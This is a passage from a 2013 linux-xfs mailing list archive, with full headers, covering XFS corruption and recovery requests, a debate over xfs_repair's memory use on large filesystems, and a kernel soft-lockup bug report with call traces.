[104404.965662] [] system_call_fastpath+0x16/0x1b [104404.965668] XFS (dm-2): xfs_do_force_shutdown(0x8) called from line 192= 6 of file /build/buildd/linux-3.2.0/fs/xfs/xfs_trans.c. Return address =3D= 0xffffffffa01847fe [104404.979180] XFS (dm-2): xfs_imap_to_bp: xfs_trans_read_buf() returned e= rror 5. [104404.983241] XFS (dm-2): Corruption of in-memory data detected. Shuttin= g down filesystem [104404.983315] XFS (dm-2): Please umount the filesystem and rectify the pr= oblem(s) [104426.080039] XFS (dm-2): xfs_log_force: error 5 returned. Is there a way to get this filesystem working again? I will use another LUN= with a fresh FS for now. Thanks, Bj=F6rn ---------------------------------------------------------------------------= ------------------------------------------ N-E-W-S: >>> www.meine-moebelmanufaktur.de=20 3D-M=F6belkonfigurator - Erlebe Deinen Schrank schon vor der Bestellung im = Internet<< --------------------------------------- Bj=F6rn Rafreider visual4 GmbH Schreiberstra=DFe 27 70199 Stuttgart www.visual4.de Fon.: +49 (0)711 / 64.91.23.8 Fax.: +49 (0)711 / 64.91.23.9 ----------------------------------------- Sitz der Gesellschaft: Stuttgart Handelsregister: Amtsgericht Stuttgart, HRB 736092 Gesch=E4ftsf=FChrung: Dipl.-Ing. (FH) Christoph Plessner Dipl.-Ing. Bj=F6rn Rafreider Dipl.-Ing. Walter H. Sindlinger From lublinkermi@interia.pl Fri Dec 27 12:03:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 251787F3F for ; Fri, 27 Dec 2013 12:03:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF40EAC009 for ; Fri, 27 Dec 2013 10:03:04 -0800 (PST) X-ASG-Debug-ID: 1388167378-04bdf00fe22e28b0001-NocioJ Received: from smtpo.poczta.interia.pl (smtpo.poczta.interia.pl [217.74.65.232]) by cuda.sgi.com with ESMTP id 6KmKWRDm7RgBw6Mb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Dec 2013 10:02:59 -0800 (PST) X-Barracuda-Envelope-From: lublinkermi@interia.pl X-Barracuda-Apparent-Source-IP: 217.74.65.232 Received: from [192.168.0.10] (unknown [213.195.162.46]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by poczta.interia.pl (INTERIA.PL) with ESMTPSA for ; Fri, 27 Dec 2013 19:02:57 +0100 (CET) Message-ID: <52BDC0D0.1060703@interia.pl> Date: Fri, 27 Dec 2013 19:02:56 +0100 From: Kermi User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.13) Gecko/20101207 Thunderbird/3.1.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Please help!!! Content-Type: text/plain; charset=UTF-8; format=flowed X-ASG-Orig-Subj: Please help!!! Content-Transfer-Encoding: 8bit X-Interia-Antivirus: OK DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=interia.pl; s=biztos; t=1388167378; bh=svaWa/MeUrMn6kQT+7Xt8vEpzPK/JBDKgbHPZuIqSvA=; h=Received:Received:Message-ID:Date:From:User-Agent:MIME-Version:To: Subject:Content-Type:Content-Transfer-Encoding: X-Interia-Antivirus; b=lkTnYFtZI3PUpccmcQCBKcSA44tztwWd+68EpprONe0ybf145HDvMfoXEv89E52RP j0C9SH9KwNl3c5k/sy1Wob5jtN8h4sg7WUBp0RSgyhR2YeRY5qauZNWb3QypshFCmb 5Yhm8pRF1WVOkOEfH2J/Q59qUXj5oZteY+mcRd+Q= X-Barracuda-Connect: smtpo.poczta.interia.pl[217.74.65.232] X-Barracuda-Start-Time: 1388167379 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.46 X-Barracuda-Spam-Status: No, SCORE=0.46 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, PLING_PLING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143465 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.46 PLING_PLING Subject has lots of exclamation marks Hi! I had a XFS filesystem on RAID 5, but line of the power supply 230 V had crash . UPS failed, 2 hard disk drive on RAID (4 hard disk) failed (medium error) - then before turn of computer I resynchronize this RAID. Fdisk recognized filesystem as XFS. Using dd with conv=noerror, sync I clone XFS filesystem on external hard disk. After restart machine I never can resynchronize RAID to see XFS filesystem. Then I connect hard disk to computer I can mount , but I see numbers as filename with extensions. xfs_db -c "sb 0" -c "p" /dev/sde5 said: magicnum = 0x58465342 blocksize = 4096 dblocks = 183103920 rblocks = 0 rextents = 0 uuid = e2716dab-5b52-085e-eae2-3d8442c32a1a logstart = 134217735 rootino = 256 rbmino = 257 rsumino = 258 rextsize = 1 agblocks = 5722000 agcount = 32 rbmblocks = 0 logblocks = 89406 versionnum = 0xbdb4 sectsize = 4096 inodesize = 256 inopblock = 16 fname = "\000\000\000\000\000\000\000\000\000\000\000\000" blocklog = 12 sectlog = 12 inodelog = 8 inopblog = 4 agblklog = 23 rextslog = 0 inprogress = 0 imax_pct = 25 icount = 37056 ifree = 7341 fdblocks = 181668411 frextents = 0 uquotino = 0 gquotino = 0 qflags = 0 flags = 0 shared_vn = 0 inoalignmt = 2 unit = 16 width = 48 dirblklog = 0 logsectlog = 12 logsectsize = 4096 logsunit = 4096 features2 = 0xa bad_features2 = 0xa xfs_repair : couldn't verify primary superblock not enough secondary superblocks with matching geometry attempting to find secondary superblock...................... xfs_check said cannot init perag data (117). I use xfs_explorer, UFS Explorer Professional Recovery, photorec, testdisk to recover files, but any of this nothing do. It's very important because on filesystem XFS there was a virtual machine file with many MS SQL databases. I can't have backup because packed backup file has a 17 GB, external hard disk destroyed after the supertension of the energy network. Please help me... -- E-mail nie został sprawdzony pod kątem wirusów. Używam Linuxa! From lublinkermi@interia.pl Fri Dec 27 12:07:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CDD1D7F3F for ; Fri, 27 Dec 2013 12:07:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56182AC008 for ; Fri, 27 Dec 2013 10:07:14 -0800 (PST) X-ASG-Debug-ID: 1388167632-04cb6c537d9fdad0001-w1Z2WR Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id NGikAr9mFupc0vE7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Dec 2013 10:07:12 -0800 (PST) X-Barracuda-Envelope-From: lublinkermi@interia.pl X-Barracuda-Apparent-Source-IP: 216.139.236.26 Received: from tom.nabble.com ([192.168.236.105]) by sam.nabble.com with esmtp (Exim 4.72) (envelope-from ) id 1VwbeC-0001XT-Li for linux-xfs@oss.sgi.com; Fri, 27 Dec 2013 09:56:33 -0800 Date: Fri, 27 Dec 2013 09:56:32 -0800 (PST) From: lublinkermi To: linux-xfs@oss.sgi.com Message-ID: <1388166992503-35010.post@n7.nabble.com> Subject: Please help to recover filesystem XFS on RAID 5 MIME-Version: 1.0 X-ASG-Orig-Subj: Please help to recover filesystem XFS on RAID 5 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1388167632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143465 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi! I had a XFS filesystem on RAID 5, but line of the power supply 230 V had crash . UPS failed, 2 hard disk drive on RAID (4 hard disk) failed (medium error) - then before turn of computer I resynchronize this RAID. Fdisk recognized filesystem as XFS. Using dd with conv=noerror, sync I clone XFS filesystem on external hard disk. After restart machine I never can resynchronize RAID to see XFS filesystem. Then I connect hard disk to computer I can mount , but I see numbers as filename with extensions. xfs_db -c "sb 0" -c "p" /dev/sde5 said: magicnum = 0x58465342 blocksize = 4096 dblocks = 183103920 rblocks = 0 rextents = 0 uuid = e2716dab-5b52-085e-eae2-3d8442c32a1a logstart = 134217735 rootino = 256 rbmino = 257 rsumino = 258 rextsize = 1 agblocks = 5722000 agcount = 32 rbmblocks = 0 logblocks = 89406 versionnum = 0xbdb4 sectsize = 4096 inodesize = 256 inopblock = 16 fname = "\000\000\000\000\000\000\000\000\000\000\000\000" blocklog = 12 sectlog = 12 inodelog = 8 inopblog = 4 agblklog = 23 rextslog = 0 inprogress = 0 imax_pct = 25 icount = 37056 ifree = 7341 fdblocks = 181668411 frextents = 0 uquotino = 0 gquotino = 0 qflags = 0 flags = 0 shared_vn = 0 inoalignmt = 2 unit = 16 width = 48 dirblklog = 0 logsectlog = 12 logsectsize = 4096 logsunit = 4096 features2 = 0xa bad_features2 = 0xa xfs_repair : couldn't verify primary superblock not enough secondary superblocks with matching geometry attempting to find secondary superblock...................... xfs_check said cannot init perag data (117). I use xfs_explorer, UFS Explorer Professional Recovery, photorec, testdisk to recover files, but any of this nothing do. It's very important because on filesystem XFS there was a virtual machine file with many MS SQL databases. I can't have backup because packed backup file has a 17 GB, external hard disk destroyed after the supertension of the energy network. Please help me... -- View this message in context: http://xfs.9218.n7.nabble.com/Please-help-to-recover-filesystem-XFS-on-RAID-5-tp35010.html Sent from the linux-xfs mailing list archive at Nabble.com. From david@fromorbit.com Fri Dec 27 16:42:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D4A9C7F3F for ; Fri, 27 Dec 2013 16:42:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5F94FAC002 for ; Fri, 27 Dec 2013 14:42:21 -0800 (PST) X-ASG-Debug-ID: 1388184135-04cbb04169a03260001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 9YLhibZAoEhHuJTh for ; Fri, 27 Dec 2013 14:42:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao0JAI0BvlJ5LHyk/2dsb2JhbABYgwuDOlKxCYVSgRoXdIIlAQEBAwEjDwEjIwULCAMYAgIFIQICDwUlAyETh3wHr2iZOhcWgRONdAeCboFIBJgWikyHSYNBKIEsJA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Dec 2013 09:12:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vwg6e-0007Tz-AY; Sat, 28 Dec 2013 09:42:12 +1100 Date: Sat, 28 Dec 2013 09:42:12 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com, Stor?? <289471341@qq.com>, Jeff Liu Subject: Re: [xfs_check Out of memory: ] Message-ID: <20131227224212.GK20579@dastard> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] References: <52BD2F0F.3020907@oracle.com> <201312270907.22638.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201312270907.22638.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1388184135 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 27, 2013 at 09:07:22AM +0100, Arkadiusz Miśkiewicz wrote: > On Friday 27 of December 2013, Jeff Liu wrote: > > On 12/27 2013 14:48 PM, Stor?? wrote: > > > Hey: > > > > > > 20T xfs file system > > > > > > > > > > > > /usr/sbin/xfs_check: line 28: 14447 Killed > > > xfs_db$DBOPTS -i -p xfs_check -c "check$OPTS" $1 > > > > xfs_check is deprecated and please use xfs_repair -n instead. > > > > The following back traces show us that it seems your system is run out > > memory when executing xfs_check, thus, snmp daemon/xfs_db were killed. > > This reminds me a question... > > Could xfs_repair store its temporary data (some of that data, the biggest > parte) on disk instead of in memory? Where on disk? We can't write to the disk until we've verified all the free space is really free space, and guess what uses all the memory? Besides, if the information is not being referenced regularly (and it usually isn't), then swap space is about as efficient as any database we might come up with... > I don't know it that would make sense, so asking. Not sure if xfs_repair needs > to access that data frequently (so on disk makes no sense) or maybe it needs > only for iteration purposes in some later phase (so on disk should work). > > Anyway memory usage of xfs_repair was always a problem for me (like 16GB not > enough for 7TB fs due to huge amount of fies being stored). With parallel scan > it's even worse obviously. Yes, your problem is that the filesystem you are checking contains 40+GB of metadata and a large amount of that needs to be kept in memory from phase 3 through to phase 6. If you really want to add some kind of database interface to store this information somewhere else, then I'll review the patches. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From arekm@maven.pl Fri Dec 27 17:20:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0E8227F3F for ; Fri, 27 Dec 2013 17:20:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D1A888F8033 for ; Fri, 27 Dec 2013 15:20:48 -0800 (PST) X-ASG-Debug-ID: 1388186440-04bdf00fe22f1e00001-NocioJ Received: from mail-ea0-f177.google.com (mail-ea0-f177.google.com [209.85.215.177]) by cuda.sgi.com with ESMTP id C92JImfXfjvzRZ0w (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Dec 2013 15:20:41 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.215.177 Received: by mail-ea0-f177.google.com with SMTP id n15so4225408ead.8 for ; Fri, 27 Dec 2013 15:20:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=zA8yvnTnxNRfg4ouIBHnQciH1x1wP3JdQubeuMoi2xU=; b=u2Ng1anU7xUwTiO4ji77VAtqGWA1ZvssGRSrmXfnHoNR17JWobcy2MGemDR6tUkNg8 E28nQarVAymbDRfwXrG+hNw5uPKkRqA86lQQAmnD0pwVDP4Fa3nlnmumQwCA+EbW4off 4iboiSOBncoEC/DTGp1qjNy7sDgxcsUEsQQlY= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=zA8yvnTnxNRfg4ouIBHnQciH1x1wP3JdQubeuMoi2xU=; b=lb6ZUFy+dFruvuZKEDmcbg23Ym0pf3s4uIcC/Iwv5NVSDfwVTllWfmLZ5FVZ94lWTu eYfPMqvrc0sJs1OmLMiPF/s6bLLQvLlYr5gtEsQDWJX5l5SzmdjUdzBf//g8st6/ET37 jkkff30OB18CfjmR8hXYhF9nqCsDaG0QtMETTDlDu3CnR+E7hQ40rARVLN2KvBCizuEu AQb6HuVM+VvspZdopZB/u40jQaK+I2OxhvrgiIXrJM7Pz6o2PbGiHHRC1vLFdJadwQBI S/NQMCRoZp9PlO5t3Cicl1R8pUFBtOba3hgOnYePBCk/mt2DIwkQywWuoyd39juTChc9 KNLw== X-Gm-Message-State: ALoCoQnJcR5M5CtsQK8C4vNNysy5vF/UFMes40AbZnJQkAvanIGlVH+JMvdJ/JR48EM0o7b2UPj2 X-Received: by 10.14.109.5 with SMTP id r5mr1077219eeg.110.1388186440676; Fri, 27 Dec 2013 15:20:40 -0800 (PST) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id b41sm85803689eef.16.2013.12.27.15.20.39 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 27 Dec 2013 15:20:40 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: Dave Chinner Subject: Re: [xfs_check Out of memory: ] Date: Sat, 28 Dec 2013 00:20:39 +0100 X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] User-Agent: KMail/1.13.7 (Linux/3.12.6-dirty; KDE/4.12.0; x86_64; ; ) Cc: xfs@oss.sgi.com, "Stor??" <289471341@qq.com>, Jeff Liu References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> In-Reply-To: <20131227224212.GK20579@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312280020.39244.arekm@maven.pl> X-Barracuda-Connect: mail-ea0-f177.google.com[209.85.215.177] X-Barracuda-Start-Time: 1388186441 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Friday 27 of December 2013, Dave Chinner wrote: > On Fri, Dec 27, 2013 at 09:07:22AM +0100, Arkadiusz Mi=C5=9Bkiewicz wrote: > > On Friday 27 of December 2013, Jeff Liu wrote: > > > On 12/27 2013 14:48 PM, Stor?? wrote: > > > > Hey: > > > >=20 > > > > 20T xfs file system > > > >=20 > > > >=20 > > > >=20 > > > > /usr/sbin/xfs_check: line 28: 14447 Killed > > > > xfs_db$DBOPTS -i -p xfs_check -c "check$OPTS" $1 > > >=20 > > > xfs_check is deprecated and please use xfs_repair -n instead. > > >=20 > > > The following back traces show us that it seems your system is run out > > > memory when executing xfs_check, thus, snmp daemon/xfs_db were killed. > >=20 > > This reminds me a question... > >=20 > > Could xfs_repair store its temporary data (some of that data, the bigge= st > > parte) on disk instead of in memory? >=20 > Where on disk?=20 In directory/file that I'll tell it to use (since I usualy have few xfs=20 filesystems on single server and so far only one at a time breaks). > We can't write to the disk until we've verified all > the free space is really free space, and guess what uses all the > memory? Besides, if the information is not being referenced > regularly (and it usually isn't), then swap space is about as > efficient as any database we might come up with... It's not about efficiency. It's about not killing the system (by not eating= =20 all memory, OOM). If I can (optionally) trade repair speed for not eating r= am=20 then it's desired sometimes. Better to have slow repair than no repair 8) Could xfs_repair tell kernel that this data should always end up on swap fi= rst=20 (allowing other programs/daemons to use regular memory) prehaps? (Don't kno= w=20 interface that would allow to do that in kernel though). That would be some= =20 half baked solution. > > I don't know it that would make sense, so asking. Not sure if xfs_repair > > needs to access that data frequently (so on disk makes no sense) or > > maybe it needs only for iteration purposes in some later phase (so on > > disk should work). > >=20 > > Anyway memory usage of xfs_repair was always a problem for me (like 16GB > > not enough for 7TB fs due to huge amount of fies being stored). With > > parallel scan it's even worse obviously. >=20 > Yes, your problem is that the filesystem you are checking contains > 40+GB of metadata and a large amount of that needs to be kept in > memory from phase 3 through to phase 6. Is that data (or most of that data) frequenly accessed? Or something that's= =20 iterated over let say once in each phase?=20 Anyway current "fun" with repair and huge filesystems looks like this: =2D 16GB of memory, run xfs_repair, system goes into unusable state because= =20 whole ram is eaten (ends up with OOM); wait several hours =2D reboot, add 20GB of swap, run xfs_repair, the same happens again; wait = half=20 a day =2D reboot, add another 20GB of swap space, run xfs repair - success!; wait= =20 another day =2D in all steps system is simply unusable for other services. Nothing else= will=20 work since entire ram gets eaten by repair. So doesn't help me to have 4 xf= s=20 filesystems and only one broken - have to shut down all services only for t= hat=20 repair to work =2D with parallel git repair it is even worse obviously (OOM happens sooner= than=20 later) =2D can't add more RAM easily, machine is at remote location, uses obsolete= =20 DDR2, have no more ram slots and so on =2D total repair time for all that steps is few times longer than neccessar= y=20 (successful repair took 7.5h while all these steps took 2 days) =2D what's worse tools give no estimations of ram needed etc but that's afa= ik=20 unfixable. This means that it is not known how much memory will be needed. = You=20 need to run repair and see. Also if more files gets stored then next repair= in=20 few monts could require twice more ram. You never know what to expect. Now how to prevent these problems? Currently I see only one "solution" - ad= d=20 more RAM. Unfortunately that's not a sloution - won't work in many cases described=20 above. So looks like my future backup servers will need to have 64GB, 128GB or may= be=20 even more ram that will be there only for xfs_repair usage. That's gigantic= =20 waste of resources. And there are modern processors that don't work with mo= re=20 than 32GB of ram - like "Intel Xeon E3-1220v2" ( http://tnij.org/tkqas9e ).= So=20 adding ram means replacing CPU, likely replacing mainboard. Fun :) > If you really want to add > some kind of database interface to store this information somewhere > else, then I'll review the patches. ;) Right. So only "easy" task finding the one who understands the code and can= =20 write such interface left. Anyone? IMO ram usage is a real problem for xfs_repair and there has to be some=20 upstream solution other than "buy more" (and waste more) approach. > Cheers, >=20 > Dave. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From lists@nerdbynature.de Fri Dec 27 22:01:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.2 required=5.0 tests=FROM_12LTRDOM,HDRS_LCASE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 30C327F3F for ; Fri, 27 Dec 2013 22:01:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AF158AC004 for ; Fri, 27 Dec 2013 20:01:02 -0800 (PST) X-ASG-Debug-ID: 1388203260-04bdf00fdf2fd9f0001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id OB5FHXCkRvznorSS for ; Fri, 27 Dec 2013 20:01:00 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id 7F8D23DB86; Sat, 28 Dec 2013 05:00:59 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id B202D3DAD3; Sat, 28 Dec 2013 05:00:57 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 7FCFA3DAB1; Sat, 28 Dec 2013 05:00:57 +0100 (CET) Date: Fri, 27 Dec 2013 20:00:57 -0800 (PST) From: Christian Kujau To: LKML cc: xfs@oss.sgi.com, linuxppc-dev@lists.ozlabs.org Subject: 3.13-rc3: BUG: soft lockup - CPU#0 stuck for 23s! Message-ID: X-ASG-Orig-Subj: 3.13-rc3: BUG: soft lockup - CPU#0 stuck for 23s! User-Agent: Alpine 2.11 (DEB 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1388203260 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143478 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I noticed that my machine locks up quite often with 3.13.-rc3. PowerPC G4 again, but this machine was pretty much rock solid until now: when there's lots of disk I/O going on, the system locks up, but not entirely: the calltrace is still written to netconsole (but not to its local disk) and answers ping requests - but SSH login is impossible and a reset is needed. The workload of the machine has not changed, when there's disk I/O it means that either rsync is running or some crazy remote Java application is scanning over this machine's NFS shares. There's sometimes "xfs" mentioned in the call trace and the disk I/O is all happening on the xfs mounts, that's why I Cc'ed the xfs mailing list. More details on: http://nerdbynature.de/bits/3.13-rc3/ Any ideas? The most recent lockup is from today below, this time it wasn't rsync or NFS but I was experimenting with xfs on a loop device, backed by a 1GB file, like this: $ dd if=/dev/zero of=/usr/local/test.img bs=1M count=1k $ losetup -f /usr/local/test.img && mkfs.xfs /dev/loop0 $ mount -t xfs /dev/loop0 /mnt/disk $ cd /mnt/disk $ cp -ax / /mnt/disk - which filled the disk $ rm -rf lib/ - make some room $ i=1; while true; do printf "$i "; dd if=/dev/zero of=f$i \ count=100 bs=100k; i=$(($i+1)); done - filling the disk again => and then the machine locked up. [308783.613600] BUG: soft lockup - CPU#0 stuck for 23s! [kworker/u2:1:14542] [308783.613703] Modules linked in: md5 ecb nfs i2c_powermac therm_adt746x ecryptfs arc4 b43 firewire_sbp2 usb_storage mac80211 cfg80211 [308783.613944] irq event stamp: 37770086 [308783.613980] hardirqs last enabled at (37770085): [] _raw_spin_unlock_irq+0x30/0x60 [308783.614075] hardirqs last disabled at (37770086): [] reenable_mmu+0x30/0x88 [308783.614156] softirqs last enabled at (37764418): [] __do_softirq+0x168/0x1e8 [308783.614236] softirqs last disabled at (37764411): [] irq_exit+0xa4/0xc8 [308783.614312] CPU: 0 PID: 14542 Comm: kworker/u2:1 Not tainted 3.13.0-rc3-00365-gc48b660 #1 [308783.614384] Workqueue: writeback bdi_writeback_workfn (flush-7:0) [308783.614454] task: e8d20bb0 ti: e0c5a000 task.ti: e0c5a000 [308783.614499] NIP: c0546ffc LR: c0546ff0 CTR: 00000000 [308783.614543] REGS: e0c5ba80 TRAP: 0901 Not tainted (3.13.0-rc3-00365-gc48b660) [308783.614596] MSR: 00009032 ,ME ,IR ,DR ,RI > CR: 444c2224 XER: 20000000 [308783.614739] #012GPR00: #012GPR08: [308783.614998] NIP [c0546ffc] _raw_spin_unlock_irq+0x3c/0x60 [308783.615047] LR [c0546ff0] _raw_spin_unlock_irq+0x30/0x60 [308783.615089] Call Trace: [308783.615121] [e0c5bb30] [c0546ff0] _raw_spin_unlock_irq+0x30/0x60 (unreliable) [308783.615202] [e0c5bb40] [c009f0e4] __set_page_dirty_nobuffers+0xc8/0x144 [308783.615264] [e0c5bb60] [c01bec28] xfs_vm_writepage+0x90/0x57c [308783.615322] [e0c5bbf0] [c009e618] __writepage+0x24/0x7c [308783.615376] [e0c5bc00] [c009ec38] write_cache_pages+0x1d0/0x380 [308783.615433] [e0c5bca0] [c009ee34] generic_writepages+0x4c/0x70 [308783.615493] [e0c5bce0] [c00f9af8] __writeback_single_inode+0x34/0x12c [308783.615968] [e0c5bd00] [c00f9e74] writeback_sb_inodes+0x1f4/0x344 [308783.616418] [e0c5bd70] [c00fa050] 